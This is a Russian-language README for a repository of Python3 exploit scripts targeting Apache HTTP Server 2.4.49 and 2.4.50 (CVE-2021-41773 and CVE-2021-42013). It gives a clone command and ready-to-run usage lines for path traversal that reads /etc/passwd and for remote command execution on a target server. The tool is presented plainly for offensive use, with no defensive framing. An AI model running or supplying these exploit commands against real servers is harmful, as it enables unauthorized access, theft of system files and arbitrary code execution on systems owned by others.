Apache-CVEs

Эксплойт на Python3 для эксплуатации известных уязвимостей в веб-сервере Apache (CVE-2021-41773, CVE-2021-42013)

Что такое Apache

Проект Apache HTTP Server — это работа по разработке и поддержке HTTP-сервера с открытым исходным кодом для современных операционных систем, включая UNIX и Windows. Цель этого проекта — предоставить безопасный, эффективный и расширяемый сервер, который обеспечивает HTTP-сервисы в соответствии с текущими стандартами HTTP.

Затронутые версии

• CVE-2021-41773 -> 2.4.49
• CVE-2021-42013 -> 2.4.50

Как установить

Просто выполните git clone:

git clone https://github.com/0xGabe/Apache-CVEs

CVE-2021-41773

Использование

Обход каталога

Чтобы прочитать нужный файл, передайте путь к файлу; если у пользователя нет прав на чтение, результат чтения не будет получен.

python3 cve-2021-41773.py --url http://HOST:PORT --path /etc/passwd

Удаленное выполнение команд

Чтобы выполнить команды с пробелами, спецсимволами и т.п. на целевой машине, необходимо передавать команду в кавычках.

python3 cve-2021-41773.py --url http://HOST:PORT --cmd id

CVE-2021-42013

Использование

Обход каталога

Чтобы прочитать нужный файл, передайте путь к файлу; если у пользователя нет прав на чтение, результат чтения не будет получен.

python3 cve-2021-42013.py --url http://HOST:PORT --path /etc/passwd

Удаленное выполнение команд

Чтобы выполнить команды с пробелами, спецсимволами и т.п. на целевой машине, необходимо передавать команду в кавычках.

python3 cve-2021-42013.py --url http://HOST:PORT --cmd id